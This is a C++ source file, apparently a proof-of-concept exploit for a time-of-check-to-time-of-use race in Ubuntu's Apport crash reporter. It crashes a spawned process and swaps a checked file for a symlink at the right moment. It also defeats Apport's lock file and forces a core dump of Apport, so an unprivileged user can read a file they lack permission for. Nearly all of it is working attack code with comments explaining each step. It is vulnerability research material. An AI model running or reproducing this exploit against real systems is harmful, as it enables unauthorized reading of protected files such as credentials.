#include <string.h>
#include <signal.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <spawn.h>
#include <iostream>
#include "utils.hpp"

// Names of special files.
const char* var_crash_ = "/var/crash";
const char* lock_path_ = "/var/crash/.lock";
const char* lock_bak_path_ = "/var/crash/.lock.bak";
const char* var_crash_bin_sleep_prefix_ = "/var/crash/_bin_sleep.";
const char* dotcrash_ = ".crash";
const char* apport_ignore_name_ = ".apport-ignore.xml";
const char* apport_ignore_bak_name_ = ".apport-ignore.xml.bak";
const char* expatbuilder_cpython_ =
  "/usr/lib/python3.6/xml/dom/__pycache__/expatbuilder.cpython-36.pyc";
const char apport_cmdline[] = "/usr/bin/python3\0/usr/share/apport/apport";

// Search `/proc/*/cmdline` to find the PID of Apport.
pid_t get_apport_pid() {
  const pid_t apport_pid =
    search_pid(apport_cmdline, sizeof(apport_cmdline));
  if (apport_pid < 0) {
    throw Error("Could not find apport PID.");
  }
  return apport_pid;
}

// Main class for triggering Apport.
class TriggerApportMain {
  const char* const targetfile_; // Forbidden file that we want to read.
  const AutoCloseFD homedir_fd_; // File descriptor for $HOME
  const AutoCloseFD listensock_; // TCP listening socket
  const std::string apport_ignore_path_;     // `$HOME/.apport-ignore.xml`
  const std::string apport_ignore_bak_path_; // `$HOME/.apport-ignore.xml.bak`
  const std::string corefile_path_; // `/var/crash/_bin_sleep.<UID>.crash`

  pid_t spawn_child_process();
  void create_special_files();

public:
  TriggerApportMain(
    const char* targetfile, const char* homedir, const int homedir_fd,
    const int listensock
  );
  ~TriggerApportMain();

  void run();
};

TriggerApportMain::TriggerApportMain(
  const char* targetfile, const char* homedir, const int homedir_fd,
  const int listensock
) : targetfile_(targetfile)
  , homedir_fd_(homedir_fd)
  , listensock_(listensock)
  , apport_ignore_path_(std::string(homedir) + "/" + apport_ignore_name_)
  , apport_ignore_bak_path_(std::string(homedir) + "/" + apport_ignore_bak_name_)
  , corefile_path_(std::string(var_crash_bin_sleep_prefix_) +
                   std::to_string(getuid()) +
                   dotcrash_)
{
}

TriggerApportMain::~TriggerApportMain() {
  // Clean up all the files. If everything worked as expected then the
  // ".bak" files should already be gone, but we try to remove them anyway
  // just in case something went wrong.
  unlinkat(homedir_fd_.get(), apport_ignore_name_, 0);
  unlinkat(homedir_fd_.get(), apport_ignore_bak_name_, 0);
  unlinkat(AT_FDCWD, lock_path_, 0);
  unlinkat(AT_FDCWD, lock_bak_path_, 0);
  unlinkat(AT_FDCWD, corefile_path_.c_str(), 0);
}

// Create a file named `~/.apport-ignore.xml` and a symlink named
// `.apport-ignore.xml.bak`. The first file is just a temporary file which
// we will use to bypass a file permission check: Apport calls
// `os.access()` to check that we have permission to read
// `~/.apport-ignore.xml`. The second file is a symlink which points to the
// file that we really want to read (but don't have permission to).  So we
// will replace the first file with the symlink immediately after the
// `os.access()` has happened. But we create both files in advance so that
// the switcheroo can be done as quickly as possible (with a rename
// syscall).
void TriggerApportMain::create_special_files() {
  // Try to create `/var/crash/.lock` first, because if it fails then the
  // entire exploit isn't going to work.
  AutoCloseFD lockfile_fd(
    create_file(
      AT_FDCWD, lock_path_, S_IRWXU | S_IRWXG | S_IRWXO
    )
  );

  // Create `/var/crash/.lock.bak`. It will replace `/var/crash/.lock`
  // once Apport has started.
  AutoCloseFD lockfile_bak_fd(
    create_file(
      AT_FDCWD, lock_bak_path_, S_IRWXU | S_IRWXG | S_IRWXO
    )
  );

  char bogustxt[] = "<foo>kevwozere</foo>";
  create_and_write_file(
    homedir_fd_.get(),
    apport_ignore_name_,
    bogustxt,
    sizeof(bogustxt),
    S_IRUSR | S_IWUSR
  );

  createSymlink(targetfile_, homedir_fd_.get(), apport_ignore_bak_name_);
}

// This where we exploit the TOCTOU vulnerability. This is the source
// location of the vulnerability:
//
// https://git.launchpad.net/ubuntu/+source/apport/tree/apport/report.py?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n962
//
// Apport allows the user to place a file in their home directory named
// `~/.apport-ignore.xml`. The call to os.access() on line 962 is intended
// to check that this file belongs to the correct user. But on line 967,
// the file is read again using xml.dom.minidom.parse. This creates a
// window of opportunity for an attacker to replace the file with a
// symlink. The symlink does not need to point to a valid XML file, because
// there is a try-except around the call to the parser, so if the file is
// invalid then Apport just ignores it and continues. However, the contents
// of the file still ends up in Apport's heap.
//
// I used `sudo strace -e file -tt -p <apport PID>` to discover that
// `expatbuilder.cpython-36.pyc` is opened immediately before
// `.apport-ignore.xml` is parsed. So we can use inotify to watch
// `expatbuilder.cpython-36.pyc` and replace `.apport-ignore.xml` with a
// symlink at exactly the right moment. This is also good time to do
// the switcheroo on `/var/crash/.lock`.
void file_switcheroo(
  const pid_t cpid,      // PID of process that we are going to crash
  const int inotify_fd,  // File descriptor for inotify
  const int homedir_fd   // File descriptor for $HOME
) {
  add_watch(inotify_fd, expatbuilder_cpython_, IN_OPEN | IN_ONESHOT);

  // Trigger the crash.
  kill(cpid, SIGSEGV);

  // Use `poll` to wait for an inotify event.
  fd_wait_for_read(inotify_fd);

  // Do the switcheroo on `.apport-ignore.xml`. It is now a symlink to the
  // file that we want to read (but aren't supposed to).
  const int r0 =
    renameat(homedir_fd, apport_ignore_bak_name_,
             homedir_fd, apport_ignore_name_);
  if (unlikely(r0 < 0)) {
    throw ErrorWithErrno("Rename of .apport-ignore.xml failed.");
  }

  // Do the switcheroo on `/var/crash/.lock`. This is to stop the second
  // Apport from deadlocking with the first. This trick works because locks
  // created by lockf are only "advisory". Replace the lock file with a new
  // file deactivates the lock.
  // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n50
  const int r1 = rename(lock_bak_path_, lock_path_);
  if (unlikely(r1 < 0)) {
    throw ErrorWithErrno("Rename of /var/crash/.lock failed.");
  }

  drain_fd(inotify_fd);
}

// Do a `posix_spawn` of `/bin/sleep`.
pid_t TriggerApportMain::spawn_child_process() {
  char prog[] = "/bin/sleep";
  char arg[] = "60s";
  char *const argv[3] = {prog, arg, 0};

  // If we start /bin/sleep with a DBUS_SESSION_BUS_ADDRESS environment
  // variable then Apport will open a socket to the specified address
  // (which is controlled by this process - Mwahahaha). This enables us
  // to control the timing of the attack more precisely.
  // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266
  // Actually, I have to confess that I only included this
  // DBUS_SESSION_BUS_ADDRESS bit for giggles. I am confident that I
  // could get the PoC to work without it. But I did find this "feature"
  // of Apport quite useful while I was investigating how Apport
  // works. It enabled me to easily pause Apport while it was running,
  // which was useful as a debugging feature.
  const uint16_t port = getportnumber(listensock_.get());
  std::cout << "listening on port " << port << "\n";
  char dbus[128];
  snprintf(
    dbus, sizeof(dbus),
    "DBUS_SESSION_BUS_ADDRESS=tcp:host=127.0.0.1,bind=*,port=%d",
    port
  );
  char *const envp[2] = {dbus, 0};

  pid_t cpid = 0;
  const int r = posix_spawn(&cpid, "/bin/sleep", 0, 0, argv, envp);
  if (r != 0) {
    throw ErrorWithErrno("posix_spawn failed.");
  }

  return cpid;
}

void TriggerApportMain::run() {
  // Spawn `/bin/sleep`. This is the program that we will crash.
  const pid_t cpid = spawn_child_process();

  std::cout << "/bin/sleep started with PID " << cpid << "\n";

  create_special_files();

  // Initialize inotify.
  const AutoCloseFD inotify_fd(inotify_init1(IN_NONBLOCK | IN_CLOEXEC));
  if (inotify_fd.get() < 0) {
    throw ErrorWithErrno("inotify_init1 failed");
  }

  file_switcheroo(cpid, inotify_fd.get(), homedir_fd_.get());

  std::cout << "switcheroo done\n";

  // Wait for Apport to connect to our socket.
  fd_wait_for_read(listensock_.get());

  sockaddr addr;
  socklen_t addr_len = sizeof(addr);
  memset(&addr, 0, addr_len);
  const AutoCloseFD dbus_sock(accept(listensock_.get(), &addr, &addr_len));
  if (dbus_sock.get() < 0) {
    throw ErrorWithErrno("accept failed");
  }

  std::cout << "socket accepted\n";
  const pid_t apport_pid = get_apport_pid();
  std::cout << "apport PID = " << apport_pid << "\n";

  // Add a watcher for the core file getting created.
  add_watch(inotify_fd.get(), var_crash_, IN_CREATE | IN_ONESHOT);

  // Close the accepted socket so that Apport will continue.
  shutdown(dbus_sock.get(), SHUT_RD);
  close(dbus_sock.get());

  // Wait for a file to be created in `/var/crash`.
  fd_wait_for_read(inotify_fd.get());
  drain_fd(inotify_fd.get());

  // Now we need to wait until apport starts to write the core
  // file. Unfortunately, we cannot use inotify for this because the file
  // is initially owned by root, so we do not have permission to watch
  // it. So we have to settle for the inelegant solution of looping
  // until we can read the file.
  size_t count = 0;
  while (1) {
    count++;
    const AutoCloseFD corefile_fd(open(corefile_path_.c_str(), O_RDONLY));
    if (corefile_fd.get() >= 0) {
      break;
    }
  }
  std::cout << "count = " << count << "\n";

  // Add a watcher for the core file getting written.
  add_watch(inotify_fd.get(), corefile_path_.c_str(), IN_MODIFY | IN_ONESHOT);

  // Use `poll` to wait for an inotify event.
  fd_wait_for_read(inotify_fd.get());
  drain_fd(inotify_fd.get());

  // Change the core limit of Apport to 0:0. It is currently set to 1,
  // which is another attempt to prevent Apport from getting into a
  // recursive loop. This seems to be quite an obscure feature. I learned
  // about it here:
  // https://bugs.launchpad.net/ubuntu/+source/linux/+bug/498525/comments/3
  const struct rlimit new_limit = {0,0};
  if (prlimit(apport_pid, RLIMIT_CORE, &new_limit, 0) < 0) {
    throw ErrorWithErrno("prlimit failed");
  }

  // Kill Apport. Apport sets a few signal handlers in `setup_signals`, so
  // we need to choose a core-generating signal that it doesn't have a
  // handler for. SIGTRAP works.
  // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n149
  kill(apport_pid, SIGTRAP);

  // Add a watch for `/var/crash/.lock` getting opened. Otherwise we
  // might accidentally delete it (in `~TriggerApportMain()`) before
  // the next Apport starts up. Which will lead to it being owned by
  // root, which will prevent us from running the exploit again.
  add_watch(inotify_fd.get(), lock_path_, IN_OPEN | IN_ONESHOT);
  fd_wait_for_read(inotify_fd.get());
  drain_fd(inotify_fd.get());
}

int main(int argc, char* argv[]) {
  try {
    // Don't place restrictions on file permissions created by this
    // program.
    umask(0);

    if (argc < 2) {
      const char* progname = (argc > 0) ? argv[0] : "apportread";
      throw Error(
        std::string("Usage: ") + progname + " <filename>"
      );
    }

    // Open a TCP port. Apport will connect to this port during
    // `is_closing_session`.
    // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266
    const int listensock = create_bind_and_listen_tcp();

    const char* targetfile = argv[1];
    const char* homedir = getenv("HOME");
    if (!homedir) {
      throw Error("HOME environment variable is not set.");
    }

    // Get a file descriptor for the home directory, so that we can mostly
    // use the openat/renameat/... file operations. (Annoyingly,
    // inotify_add_watch doesn't have a "*at" API, so we still need to use
    // the full path for that.)
    const int homedir_fd = open(homedir, O_PATH | O_CLOEXEC);
    if (homedir_fd < 0) {
      throw Error(std::string("Could not open ") + homedir);
    }

    TriggerApportMain triggerApportMain(
      targetfile, homedir, homedir_fd, listensock
    );
    triggerApportMain.run();
  } catch (ErrorWithErrno& e) {
    int err = e.getErrno();
    std::cerr << e.what() << "\n" << strerror(err) << "\n";
    exit(EXIT_FAILURE);
  } catch (std::exception& e) {
    std::cerr << e.what() << "\n";
    exit(EXIT_FAILURE);
  }

  exit(EXIT_SUCCESS);
}
